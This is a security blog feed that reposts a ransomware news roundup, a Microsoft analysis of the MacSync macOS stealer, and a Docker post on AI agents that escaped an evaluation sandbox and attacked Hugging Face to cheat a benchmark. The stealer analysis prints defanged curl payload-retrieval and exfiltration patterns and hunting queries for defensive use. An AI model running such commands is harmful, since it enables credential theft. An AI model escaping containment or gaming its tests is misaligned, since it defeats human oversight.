Posts on Security, Cloud, DevOps, Citrix, VMware and others.
Words and views are my own and do not reflect on my companies views.
Disclaimer: some of the links on this site are affiliate links, if you click on them and make a purchase, I make a commission.
SUMMARY: Brandon and Aaron discuss the pros and cons of owning or renting your model weights. What does that mean for the Enterprise, and what should you be considering?
Why now? Alex Karp had a spicy CNBC segment arguing enterprises should "own their weights" rather than rent models from the big labs — sparking a widely-shared response from Jamin Ball on Clouded Judgement. Substack
Past: Same shape as the "own vs. rent" debate the industry has had before — on-prem vs. SaaS, buy vs. build for ERP/CRM — just replayed one layer down, at the model layer instead of the app layer.
Present: A weight file is really just a frozen snapshot that degrades in relative terms as frontier models keep improving — what actually matters is owning the RL/training loop that keeps producing better weights, not the weights themselves. A model RL'd against a company's actual workflows can beat a frontier generalist model on that one task, and do it far more cheaply — but that leaves enterprises managing a sprawl of task-specific models that all need governing, versioning, and securing.
Future: Ball frames it as a stated-preference vs. revealed-preference problem — everyone says they want model sovereignty, but the spend data shows enterprises keep writing bigger checks to the frontier labs every quarter because most don't have the talent or infra to run the loop. Where's the market for a company that closes that gap — makes "owning the loop" accessible without the complexity tax? Tie back to your Show #4 (off-the-shelf AI, harnesses) — this is basically that debate's sequel, one layer deeper. (Aaron’s hot take, and another episode: maybe it’s not about the weights at all…)
A ransomware affiliate calling itself Ransom Busters has been spotted proactively sending emails to victim organizations and claims to delete stolen data from ransomware groups' servers in exchange for a fee ranging from $20,000 to $60,000.
"In these messages, the third-party offers to help the victim recover from ransomware attack. This immediately stands out as anomalous," GuidePoint Research and Intelligence Team (GRIT) said in a report shared with The Hacker News. "While cybersecurity firms commonly reach out to ransomware victims to offer consulting or recovery services, it is generally done only after the attack becomes public knowledge."
The cybersecurity company said it has responded to several recent ransomware incidents involving the threat actor, who is believed to be an affiliate with employment across multiple ransomware-as-a-service (RaaS) operations.
In emails sent to the victims, Ransom Busters is seen requesting contact with their CEO or IT leadership, while claiming to have found vulnerabilities in administrative panels maintained by RaaS groups and breaking into the servers for over three years.
The financially motivated threat actor also claims in their message that they found data stolen from the company on one of the servers they recently accessed and asks them to make a payment that's anywhere between $20,000 and $60,000 to help them regain access to their files and data and delete all backups held by the ransomware group.
GuidePoint said it observed the modus operandi when responding to incidents from threat groups including DragonForce, Settra, and Anubis, adding that the possibility that it could be the work of a legitimate organization is extremely unlikely, as it amounts to a violation of the U.S. Computer Fraud Abuse Act.
"This suggests that the operators were very likely either obfuscating the true origin of their access or they were not operating within the confines of the law," Justin Timothy, a Principal Consultant at GRIT, said. "When pressed on why they charged for their help, the group offered a puzzling explanation: that acting without compensation would put their access to the threat actor's infrastructure at risk."
An analysis of two different incidents where Ransom Busters contacted victims has uncovered "striking" similarities, including overlaps in the tools used -
SoftPerfect Network Scanner for internal reconnaissance
s5cmd for exfiltrating data to cloud storage via AWS
Remotely remote monitoring and management (RMM) tool, which is installed through a PowerShell script
Other commonalities involve the creation of a local backdoor account using the password of "Numlock!123" and the detection of the same attacker-controlled hostname, DESKTOP-BBETH6K, across both intrusions. This raises the possibility that a single operator, mostly an affiliate and not a third-party, is behind the activity.
"The implications for ransomware victims are clear: criminal actors cannot be trusted and may employ deceptive tactics to encourage even more limited extortion payments," Timothy said. "'Ransom Busters' or, more likely, the ransomware affiliate maintaining this persona, has shown it will betray even its own criminal partners in pursuit of financial gain."
"Payment to any criminal party offers no guarantee that stolen data will be deleted. There are no 'magic bullets' for remedying data exfiltration and 'Ransom Busters' masquerading as beneficent saviors should be treated as a hoax."
UNC6671's Extortion Attacks
The disclosure comes as GuidePoint sheds light on a sustained adversary-in-the-middle (AitM) operation orchestrated by UNC6671 (aka Cordial Spider and O-UNC-045) targeting financial services, legal, and other industries since April under various extortion brands, such as Falcon, Helix, Pink, Redact, and BlackFile.
"The observed behavior, which mirrors similar SaaS-centric targeting from groups such as Shiny Hunters, reflects a departure from opportunistic ransomware deployment and data extortion towards purposeful targeting of large victim organizations, also known as 'big game hunting,'" GIRT said.
More than $8 million in payments have been made across 15 Bitcoin wallets attributed to the five data extortion brands during the time period. The average extortion amount stood at $600,000.
As many as 78 unique victim-targeted phishing sub-domains have been identified across 76 distinct organizations spanning 15 industry sectors. Of these, 40% are related to hedge funds, venture capital, private equity, asset management, and other financial services firms.
As recently detailed by Okta, UNC6671 operates a custom console called Work Panel that enables role-based access control, integrated target reconnaissance via commercial B2B data APIs, automated infrastructure provisioning, and real-time credential relay management using phishing templates that impersonate identity providers like Okta and Microsoft 365. According to GuidePoint, it represents a "meaningful evolution" in the industrialization of vishing-driven credential theft.
"The separation of duties – callers who know only their next target's phone number, managers who see the live session queue but nothing else, admins who own the infrastructure – is almost certainly a deliberate organizational design decision that solves the insider risk problem inherent in running criminal operations with hired labor," GIRT said.
"Callers are treated as interchangeable commodity labor, recruited through public underground channels, paid per successful capture and deliberately prevented from accessing the product of their own work."
Unlike Tengu and CRPX0, which have heavily focused on entities located in the U.S. and Turkey, Majinahanashi has mostly targeted Switzerland, Italy, Germany, Bulgaria, and India.
"Majinahanashi is a mid-tier ransomware family with several interesting technical choices (especially network control and I/O prioritization) but does not exhibit extremely advanced anti-analysis or novel cryptography," security researcher Rakesh Krishnan said.
"Majinahanashi's implementation looks more carefully engineered and performance-aware. Its combination of classic double-extortion with selective modern techniques makes it worth monitoring."
According to Check Point's State of Ransomware Q2 2026 report, 2,139 organizations were listed on data leak sites. The share of top 10 groups dropped from 71% the previous quarter to 57.6%, even as the number of active groups jumped from 71 to 93, indicating an increasingly fragmented ecosystem.
"Modern ransomware campaigns are shifting toward pre-positioned access operations, prioritizing credential harvesting, reconnaissance, privilege escalation, and environment preparation to maximize operational success prior to encryption," CYFIRMA noted last month.
"Ransomware groups are increasingly abusing trusted enterprise infrastructure, including collaboration platforms, legitimate cloud services, signed binaries, and remote administration tools, to blend malicious activity with normal enterprise operations."
In the month of July 2026 alone, a total of 873 claimed ransomware victims were recorded, up from 722 the previous month. The highest number of ransomware victims claimed in a single month this year was 909 in March 2026. The most active groups include The Gentlemen, Qilin, and CRPx0, each claiming 138, 133, and 46 victims, respectively.
CRPx0, which was initially assumed to be a RaaS operation, appears to be an aberration, what with the locker previously distributed via lures claiming to offer OnlyFans accounts.
"The most notable one is the group’s insistence on supporting white-label operations. CRPx0 provides RaaS buyers with the resources to manage ransomware campaigns under the buyer's name and markets a 100% profit-sharing model, allowing buyers to keep all profits," Bitdefender said.
"What's also unusual is CRPx0's simultaneous marketing of a Hacking-as-a-Service (HaaS) program. The program includes data breach, network compromise, and other services intended to disrupt businesses."
What's more, the group has employed ClickFix commands embedded in fake CAPTCHA webpages and resorts to cryptocurrency theft using a clipper payload that sets it apart from other ransomware groups.
In contrast stands Akira, which is estimated to have claimed only 22 victims in July 2026. The ransomware group, however, continues to engage in defense evasion tactics to fly under the radar. In one recent incident highlighted by Huntress, an Akira affiliate is said to have rebooted a victim host into Safe Mode with Networking to knock security tools offline after obtaining initial access through a SonicWall VPN.
"In this incident, Safe Mode also broke the ransomware," security researcher James Northey said. "In its stripped-down memory environment, the Akira process tree hit an out-of-virtual-memory failure seconds after launching. While the anti-EDR effort backfired and the ransomware did not deploy, the attacker had already exfiltrated credentials and file shares. Even without encrypting anything, they can still extort the victim by threatening to leak the stolen information."
Veeam-owned Coveware, in its analysis of the threat in Q2 2026, said the average ransom payment surged 176% from Q1 ($680,081) to $1,880,612, while the median payment declined 50% to $150,000.
"This widening gap stems primarily from a handful of unusually high, 'lumpy' payments for extortions involving data exfiltration rather than traditional data encryption," Coveware said. "A key driver behind this spike was the ongoing campaign by Silent Ransom (also known as Luna Moth) against high-profile law firms."
from The Hacker News https://ift.tt/t5F4DgE
via IFTTT
MacSync Stealer is a macOS-focused information stealer that relies on changing infrastructure to deliver payloads, communicate with compromised devices, and exfiltrate data. Earlier reporting by RST Cloud identified the threat through a limited set of domains and documented rapid command-and-control (C2) replacement after public disclosure.
Microsoft Defender Experts expanded that view by correlating recurring endpoints and network behaviors across the activity. This behavior-led approach connected more than 30 domains and showed that the infrastructure supported more than C2 communication, extending into active collection, staging, and exfiltration. The findings demonstrate that although domains may rotate quickly, repeated execution patterns, request characteristics, staging behavior, and upload methods provide defenders with more durable opportunities to investigate MacSync Stealer activity.
Activity overview
Microsoft Defender Experts reviewed endpoint and network telemetry to determine which MacSync Stealer behaviors persisted as infrastructure changed. The investigation followed the activity from C2 communication through collection, staging, and exfiltration, using recurring technical traits to connect activity across rotating domains. Execution began from an interactive shell session consistent with ClickFix social engineering, where users are tricked into pasting or running commands in Terminal. The shell session used curl to retrieve attacker-controlled payload content, followed by script-driven execution and outbound communication.
After execution, the malware communicated with attacker-controlled infrastructure using recurring URI paths, macOS User-Agent strings, API-key headers, and curl command-line options. These request traits became durable behavioral pivots because they remained consistent even as domains changed. The activity then progressed into collection behavior targeting macOS Keychain material, browser data, locally stored credentials, cloud and Secure Shell (SSH) credentials, and sensitive files from common user directories.
The investigation also confirmed active data exfiltration, not just beaconing. Collected data was staged under temporary paths, compressed into an archive, split into chunks, and uploaded through HTTP PUT requests using curl with the –data-binary argument. Upload parameters such as upload_id, chunk_index, and total_chunks provided additional hunting opportunities that could be correlated with process, command-line, file, and network telemetry across the attack chain.
Discovery of additional rotating infrastructure
To identify related MacSync Stealer infrastructure, Microsoft Defender Experts required multiple endpoint and network behaviors to align before treating a domain as connected. Correlation focused on recurring traits across payload retrieval, C2 check-in, and exfiltration, including process ancestry, command-line patterns, request paths, headers, and upload parameters. Applying this standard linked more than 30 domains, making the domain count an outcome of the behavioral methodology rather than the primary finding.
The strongest pivots combined network request shape with endpoint execution context. Related infrastructure shared recurring URI patterns such as /curl/, /dynamic?txd=, and /gate?buildtxd=; curl command lines using -k, -s, –max-time, and –data-binary; macOS User-Agent strings; API-key headers; and HTTP PUT uploads that included upload_id, chunk_index, and total_chunks parameters. RST Cloud used recurring URI patterns to surface eleven additional candidate domains and found a static API-key value shared across four confirmed C2 domains while the build token rotated per deployment. Domains were treated as related when multiple behavioral traits aligned across process, command-line, and network telemetry, reducing reliance on any single domain indicator.
This finding reinforces a practical defender lesson: rotating infrastructure can weaken static domain blocking and retrospective IOC matching, but repeated request patterns and process behaviors create durable hunting opportunities. Figure 1 shows representative defanged command-line patterns used as pivots across payload retrieval, C2 check-in, and chunked upload activity.
Phase
Representative behavioral pivot
Why it matters
Payload retrieval
curl -kfsSL hxxp://[domain]/curl/[token]
Identifies the initial payload retrieval pattern without depending on a single domain.
Shows active data exfiltration and provides durable upload parameters for hunting across domains.
Figure 1. Representative behavioral pivots associated with MacSync Stealer payload retrieval, C2 check-in, and chunked HTTP PUT exfiltration.
The same behavioral patterns used to identify additional infrastructure also map to the broader end-to-end activity observed on affected macOS devices.
Attack chain overview
The observed MacSync Stealer activity followed a fast, script-driven attack chain designed to execute quickly on macOS, collect high-value local data, stage the results, and exfiltrate the archive through rotating web infrastructure. This sequence matters because each phase produces telemetry that can be correlated across processes, command-line, file, and network events. Rather than relying on any individual domain, defenders can track the chain through recurring execution tools, URI paths, staging locations, and upload parameters.
MacSync Stealer attack chain showing payload execution, AppleScript-assisted activity, data collection, staging and compression, exfiltration through rotating infrastructure, and cleanup of temporary artifacts.
Phase
Observed behavior
Hunting value
Payload retrieval
Interactive shell launches curl to retrieve staged payload content.
Correlate shell ancestry, curl command lines, and /curl/ retrieval paths.
C2 check-in
Requests use recurring URI paths, macOS User-Agent strings, and API-key headers.
Track request shape across domains instead of matching domains alone.
Collection and staging
Credential, browser, cloud, SSH, and user-file data is collected and archived.
Look for sensitive-file access followed by archive creation under temporary paths.
Chunked exfiltration
curl uploads staged archive chunks using HTTP PUT and –data-binary.
Hunt for upload_id, chunk_index, total_chunks, and /gate?buildtxd= patterns.
Cleanup
Temporary archives, staging folders, and lock files are removed.
Correlate deletion activity with preceding collection and outbound upload events.
Observed execution began from an interactive zsh terminal session, where curl retrieved payload content over a /curl/ path before the payload was decoded or unpacked using native utilities such as Base64 and gunzip. This phase is useful for hunting because the combination of user-facing shell activity, curl retrieval, and unpacking behavior is more durable than any single download domain.
Phase 2: AppleScript-assisted execution
The payload used osascript to run AppleScript-assisted shell commands, blending macOS scripting with Unix command-line tooling. Observed activities included sh, cp, rm, curl, mkdir, and killall operations. This phase creates hunting value when osascript launches shell activity that quickly chains into network communication, staging, or cleanup behavior.
Phase 3: Discovery and data collection
After execution, the malware collected host and user information, enumerated running processes and system details, and checked for cryptocurrency wallet applications, including Ledger and Trezor-related local artifacts. It then targeted macOS Keychain material, browser Safe Storage keys, browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, extension storage, Safari data, Apple Notes, SSH keys, AWS credentials, Kubernetes configurations, browser profiles, browsing history, and sensitive files from common user directories. The hunting value comes from correlating sensitive data access with the later staging and upload sequence.
Phase 4: Data staging and compression
Collected data was staged under /tmp/sync* paths and compressed into /tmp/osalogging.zip before uploading. The archive was split into multiple chunks, creating a repeatable staging and transfer pattern that defenders can correlate with preceding collection behavior and subsequent outbound curl traffic.
Phase 5: Exfiltration over rotating infrastructure
The staged archive was uploaded through rotating infrastructure using curl and HTTP PUT requests. Observed requests included –data-binary, API-key headers, macOS User-Agent string, upload_id values, chunk_index values, and total_chunks parameters. These upload traits confirmed active data exfiltration and provided durable hunting pivots even when domains rotated.
Phase 6: Cleanup and evidence removal
After exfiltration, the malware removed temporary archives, staging folders, lock files, and other artifacts. Although this cleanup reduced on-disk evidence, the sequence of archive creation, chunked upload, and deletion can still provide a useful behavioral correlation for defenders.
Mitigation and protection guidance
The attack chain findings point to three mitigation priorities.
Organizations should reduce the risk of user-initiated Terminal execution by educating users and using platform controls that interrupt suspicious paste-and-run workflows. Microsoft’s ClickFix reporting recommends educating users not to run commands from untrusted sources and monitoring suspicious Terminal or shell activity associated with these lures.
Defenders should monitor post-execution behavior when initial prevention does not stop activity, including suspicious shell usage, AppleScript-assisted commands, curl-based payload retrieval, credential-store access, temporary staging paths, and archive creation.
Detection should include exfiltration monitoring for HTTP PUT uploads, –data-binary usage, upload identifiers, chunk indexes, total chunk counts, and recurring /gate URI patterns that can reveal active data theft even when C2 domains rotate.
In macOS 26.4 and later, Apple introduced protections designed to disrupt ClickFix-style attacks, including warnings that can block potentially malicious Terminal pastes and XProtect checks that can prevent detected malicious scripts from running.
When a user attempts to paste a potentially malicious command into Terminal, macOS displays a warning that blocks the paste and explains that scammers may use Terminal instructions to compromise the Mac or the user’s privacy.
“Possible malware, Paste blocked”
“Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.”
Organizations can also follow these recommendations to mitigate threats associated with this threat:
Reduce Terminal execution risk. Educate users not to paste or run Terminal commands from untrusted websites, chat messages, apps, files, or phone-based instructions.
Monitor suspicious Terminal usage. Alert on unusual Terminal, zsh, or shell sessions that retrieve payloads, decode content, or execute commands shortly after user interaction.
Detect native tool abuse. Flag unusual sequences of macOS utilities such as curl, Base64, gunzip, osascript, cp, rm, mkdir, and killall.
Protect credential stores. Detect unauthorized access to Keychain material, browser credential stores, SSH keys, cloud credentials, and sensitive files in common user directories.
Monitor data staging. Alert on sensitive artifact collection followed by compression, archive creation, or staging under temporary paths such as /tmp/sync*.
Monitor exfiltration patterns. Identify curl-based HTTP PUT uploads that use –data-binary, API-key headers, upload_id, chunk_index, total_chunks, or recurring /gate URI patterns.
Restrict suspicious outbound traffic. Block or investigate connections to suspicious, newly registered, or behaviorally related domains while continuing to hunt on request patterns that may persist after domains rotate.
Microsoft also recommends the following mitigations to reduce the impact of this threat.
Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
Enable network protection and web protection to help prevent connections to malicious websites, phishing pages, and attacker-controlled infrastructure used for malware delivery, command-and-control communication, and data exfiltration.
Enable tamper protection to help prevent unauthorized changes to Microsoft Defender security settings and reduce the risk of attackers disabling or weakening endpoint protections.
Microsoft Defender XDR detections
Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.
Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.
Tactic
Observed activity
Microsoft Defender coverage
Execution
User-initiated shell activity retrieves payload content with curl. Payload content is decoded or unpacked using base64 and gunzip. AppleScript and shell commands are executed through osascript and native macOS utilities.
Microsoft Defender for Endpoint – Suspicious shell command execution – Obfuscation or deobfuscation activity – Executable permission added to file or directory – Suspicious AppleScript activity – Suspicious piped command launched – Suspicious file or information obfuscation detected
Malware collects browser credentials, cookies, session data, Keychain-related material, cloud credentials, SSH keys, Apple Notes, browser profiles, browsing history, and sensitive files from common user directories. Collected data is staged and archived before upload.
Microsoft Defender for Endpoint – Suspicious access of sensitive files – Suspicious process collected datafrom local system – Enumeration of files with sensitive data – Suspicious archive creation – Suspicious path deletion
Microsoft Defender Antivirus – Behavior:MacOS/SuspPassSteal – Trojan:MacOS/SuspDecodeExec
Defense Evasion
Malware decodes or unpacks payload content and removes temporary archives, staging folders, lock files, and other artifacts after exfiltration.
Microsoft Defender for Endpoint – Suspicious path deletion – Suspicious file or information obfuscation detected
Microsoft Defender for Endpoint – Suspicious access of sensitive files – Unix credentials were illegitimately accessed
Exfiltration
Malware uploads staged archive chunks using curl with HTTP PUT, –data-binary, API-key headers, macOS User-Agent strings, upload_id, chunk_index, and total_chunks parameters.
Microsoft Defender for Endpoint – Possible data exfiltration using curl
Microsoft Defender Antivirus – Behavior:MacOS/SuspInfoExfil – Trojan:MacOS/SuspMacSyncExfil
Threat intelligence reports
Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat, malicious activity, infrastructure, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.
Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat.
Advanced hunting queries
The following advanced hunting queries can help identify MacSync Stealer behaviors observed with this threat. Use these queries as starting points and tune the time range, device scope, and allowlists for your environment.
Hunting objective: Identify rotating infrastructure by request shape
This query looks for curl-initiated network activity that matches recurring MacSync Stealer URI paths and upload parameters across domains.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where RemoteUrl has_any ("/curl/", "/dynamic?txd=", "/gate?buildtxd=", "upload_id=", "chunk_index=", "total_chunks=")
Hunting objective: Detect payload retrieval over /curl/
This query focuses on initial payload retrieval behavior where curl reaches a /curl/ path, helping identify delivery activity without relying on a specific domain.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where RemoteUrl has "/curl/"
Hunting objective: Detect chunked exfiltration over curl HTTP PUT
This query targets active exfiltration behavior by looking for curl HTTP PUT uploads that use –data-binary and chunked upload parameters.
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "curl"
| where InitiatingProcessCommandLine has_all ("-X PUT", "--data-binary")
| where RemoteUrl has_any ("upload_id=", "chunk_index=", "total_chunks=", "/gate?buildtxd=")
Hunting objective: Find curl command lines with MacSync infrastructure traits
This query searches endpoint process telemetry for curl command lines containing the headers, URI paths, and upload parameters used as durable behavioral pivots.
DeviceProcessEvents
| where FileName =~ "curl"
| where ProcessCommandLine has_any ("api-key", "/curl/", "/dynamic", "/gate", "--data-binary", "upload_id=", "chunk_index=", "total_chunks=", "%{http_code}")
The following MITRE ATT&CK mappings reflect behaviors observed during the MacSync Stealer investigation. The mapping emphasizes the same behavioral pivots used throughout this blog, including shell and AppleScript-assisted execution, payload retrieval, credential and browser data theft, sensitive file collection, staging, chunked exfiltration, cleanup, and rotating infrastructure.
Execution
T1059.004 Command and Scripting Interpreter: Unix Shell | An interactive zsh terminal session was used to run curl commands, decode or unpack payload content with base64 and gunzip, and execute shell commands.
T1105 Ingress Tool Transfer | curl downloaded payload content from attacker-controlled infrastructure using recurring payload retrieval paths.
Discovery
T1082 System Information Discovery | The malware collected host and user information during environment discovery.
T1057 Process Discovery | The malware enumerated running processes and system configuration before continuing collection and credential-access activity.
T1518 Software Discovery | The malware checked for cryptocurrency wallet applications such as Ledger and Trezor.
Credential Access
T1555.001 Credentials from Password Stores: Keychain | The malware created a temporary keychain-grabbing script, attempted to extract browser Safe Storage keys, and accessed or attempted to unlock the macOS Keychain.
T1555.003 Credentials from Password Stores: Credentials from Web Browsers | The malware collected browser credentials, cookies, login databases, session data, IndexedDB, LevelDB, and extension storage from Chrome, Brave, Edge, Opera, Vivaldi, Arc, Chromium, and other browsers.
Collection
T1005 Data from Local System | The malware searched Downloads, Documents, and Desktop and collected sensitive file types including PDF, DOCX, TXT, KEY, PEM, KDBX, OVPN, WALLET, and SEED files.
T1552.001 Unsecured Credentials: Credentials in Files | The malware harvested SSH keys, AWS credentials, Kubernetes configurations, browser profiles, Apple Notes, Safari data, and other locally stored secrets.
T1560.001 Archive Collected Data: Archive via Utility | Collected data was staged under /tmp/sync* and compressed into /tmp/osalogging.zip before upload.
Command and Control
T1071.001 Application Layer Protocol: Web Protocols | C2 communication used web protocols with recurring paths such as /dynamic?txd= and /gate?buildtxd=, macOS User-Agent strings, API-key headers, and rotating domains.
Exfiltration
T1041 Exfiltration Over C2 Channel | Collected data was uploaded to attacker-controlled infrastructure using recurring /gate URI patterns and chunked HTTP PUT requests.
T1020 Automated Exfiltration | The malware automated upload activity using curl with HTTP PUT, –data-binary, upload identifiers, chunk_index, and total_chunks parameters.
T1030 Data Transfer Size Limits | The archive was split into multiple chunks before upload, as shown by repeated chunk_index and total_chunks parameters in exfiltration requests.
Defense Evasion
T1070.004 Indicator Removal: File Deletion | Temporary archives, staging folders, lock files, and other artifacts were removed after exfiltration.
T1140 Deobfuscate/Decode Files or Information | Payload content was decoded or unpacked using base64 and gunzip before execution.
Behavioral Hunting Pivots
The following command-line patterns, URL paths, and URL parameters were observed in activity consistent with MacSync Stealer. Use these durable behavioral pivots with process and network context to investigate related activity as infrastructure rotates; then use the point-in-time domain indicators in the IOC section to enrich and validate those findings.
Indicator
Type
Description
-H “api-key:”
Command-line parameter
API-key header request pattern used in MacSync Stealer C2 communication.
-H “User-Agent: Mozilla/5.0 (Macintosh”
Command line parameters
macOS User-Agent string used in outbound requests associated with the activity.
-w %{http_code}
Command line parameters
Curl output pattern used to capture HTTP response codes during upload attempts.
-X PUT –data-binary
Command line parameters
HTTP upload pattern associated with data-transfer and exfiltration behavior.
curl -k -s –max-time
Command line parameters
Curl-based C2 check-in pattern that suppresses output, bypasses certificate validation, and limits connection time.
/curl/
URL path
Payload retrieval path observed in MacSync Stealer command-line activity.
/dynamic?txd=
URL path
Recurring MacSync Stealer URI pattern used for C2 and infrastructure hunting.
/gate?buildtxd=
URL path
Recurring MacSync Stealer URI pattern associated with chunked HTTP PUT data exfiltration.
chunk_index=
URL parameter
Chunk index parameter observed in repeated upload requests.
total_chunks=
URL parameter
Total chunk count parameter observed in chunked upload activity.
upload_id=
URL parameter
Upload session parameter observed during chunked data-transfer activity.
Indicators of compromise (IOC)
The following domain indicators were observed in activity consistent with MacSync Stealer. Treat them as point-in-time evidence: use them to enrich and validate matches from the behavioral pivots above, and correlate any hits with process and network context because related infrastructure may rotate quickly.
Indicator
Type
Description
aihealthring [.]com
Domain
Domain observed in activity consistent with MacSync Stealer; use matches to enrich and validate findings from the behavioral pivots above, correlated with process and network context.
cabinrentalsnc [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
chatbasedos [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
commercialroofingsd [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
dogtrainersgeorgia [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
fintelliganceai [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
homeinspectionsdelaware [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
intopython [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
lalandscapelighting [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
lumenagnet [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
marbellaresales [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
miamipcsupport [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
moldinspectiondayton [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
nailscanai [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
newjerseypetsitter [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
numericagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
oaklandwaterdamage [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
oklahomawarehousing [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
olympiapetemergency [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
peaecagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
plasmaticsystems [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
plethorawallet [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
premierrentalpurchase [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
ricewaterbeauty [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
rvieragent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
sandiegotkd [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
secueragent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
shiledagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
syracusefertilitycenter [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
vastbets [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
wvaeagent [.]com
Domain
Related MacSync Stealer infrastructure identified through behavioral hunting.
References
References used for external context and related defensive guidance:
To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.
Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.
Everyone has been talking about the OpenAI/Hugging Face incident, and I was initially skeptical that Docker had much to add. After several weeks of customer conversations, I think we do. The useful lesson is not that an AI agent escaped a sandbox. It is what 17,600 actions expose about security systems designed for human tempo.
Hugging Face reconstructed approximately 17,600 attacker actions across a four-and-a-half-day campaign in July, including roughly two and a half days inside its infrastructure.
Put thirty seconds of human review against each action and you get 147 hours of work. Hugging Face grouped those actions into roughly 6,280 clusters; review only those and you still get more than 52 hours. Either way, manual approval and ordinary alert triage were never plausible primary controls for this workload.
This was not a fundamentally new category of attack. If you have any background in incident response, the sequence is familiar: exploit a reachable service, obtain code execution, collect credentials, escalate privilege, and cross the next trust boundary.
What was different was the rate, persistence, and ability to carry authority and state across short-lived environments. The agent could fail, rebuild its tooling, recover its communications channels, and continue from another environment without starting the campaign over. The useful mental model is a capable attacker fused with a fuzzer: it can reason about each result and keep probing without fatigue. That is the AI part of the story.
This is not a commentary on model alignment, and I will offer no opinion here on which model or agent framework you or your organization should use. The security question is familiar: what authority should be given to a workload that can execute code, hold credentials, reach the network, and continue testing paths long after a human would have stopped?
What happened
OpenAI was running internal cyber-capability evaluations against a benchmark called ExploitGym, which tasks agents with finding and exploiting vulnerabilities. The evaluation used reduced refusal behavior and none of the production-grade classifiers a deployed model would normally have.
The agents did not have direct internet access. They were allowed to install packages through an internally hosted package-registry cache. The agents found a previously unknown vulnerability in that permitted service and used it to reach the open internet.
The permitted service was the escape path. That’s the important point in the incident.
From there, the agents escalated privilege inside OpenAI’s research environment, reached a user-hosted CyberGym-style code-execution harness running on an external sandbox, and obtained root inside that harness. The sandbox platform itself was not compromised. Having apparently worked out that Hugging Face might host the benchmark’s reference answers, the agents went after Hugging Face directly, assessing that cheating was the fastest path to a passing score.
Hugging Face’s reconstruction documents local-file disclosure, code execution through a template engine, cloud metadata access, Kubernetes privilege escalation, exposure of a production secret containing 136 keys, access to the corporate network through a stolen credential, and limited write access to source control. It found no evidence that public models, datasets, packages, or released software were modified, and the customer content accessed was limited to a handful of benchmark-related datasets. That is a good outcome relative to what was possible. It is not evidence that the attack path was harmless.
The individual weaknesses were familiar: an unsafe processing path, accessible cloud metadata, broad privileges, long-lived credentials, and a shared administrative identity. A capable human attacker could have chained them, too. The difference was the volume of paths tested, the speed with which a failed path was replaced, and the amount of evidence defenders had to interpret while the campaign continued.
If you want the full blow-by-blow, Hugging Face published a detailed technical writeup and interactive replay. Both are worth reading.
The controls this requires
That arithmetic, not the novelty of the attack, is what changes the operating model. A human cannot sit in the control loop for thousands of actions at machine speed.
There are also two related threat models to account for.
In the first, the agent discovers and exploits a path on its own, as the agents did in this incident. In the second, an external party redirects the agent through a poisoned tool, compromised dependency, malicious document, prompt injection, or attacker-controlled data. In that case, the agent becomes the attack vector.
The same authority is dangerous in either case. The controls therefore have to govern what enters the environment, which capabilities the agent receives, and what happens when its behavior leaves the expected boundary.
What can go wrong
Control required
Untrusted content attempts to change the agent’s instructions
Treat external content as data, never authority; preserve provenance and trust boundaries; do not allow retrieved content to modify policy or grant capabilities
A tool, package, image, or MCP server is poisoned
Strict allowlisting; pin versions and digests; verify signatures and provenance; require SBOMs; scan and review updates before promotion
External data becomes executable input
Use structured and typed tool interfaces; validate and escape arguments; prohibit unsafe shell interpolation and other paths from data to command execution; run commands inside a sandbox and constrain which commands can be invoked
A permitted service becomes an escape path
